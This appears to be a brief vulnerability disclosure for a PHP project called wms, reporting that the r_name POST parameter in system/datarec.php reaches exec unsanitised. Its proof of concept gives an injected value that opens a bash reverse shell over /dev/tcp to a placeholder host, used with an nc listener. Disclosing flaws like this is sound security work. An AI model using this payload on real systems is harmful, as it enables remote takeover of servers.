wms
wms copied to clipboard
Remote Command Execution vulnerability in /wms/src/system/datarec.php
A RCE was found in system/datarec.php, the $_POST[r_name]
is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.
POC:
Firstly, start a nc listener:
Next, post a request with parameter:
r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')
Finally, you get the reverse shell: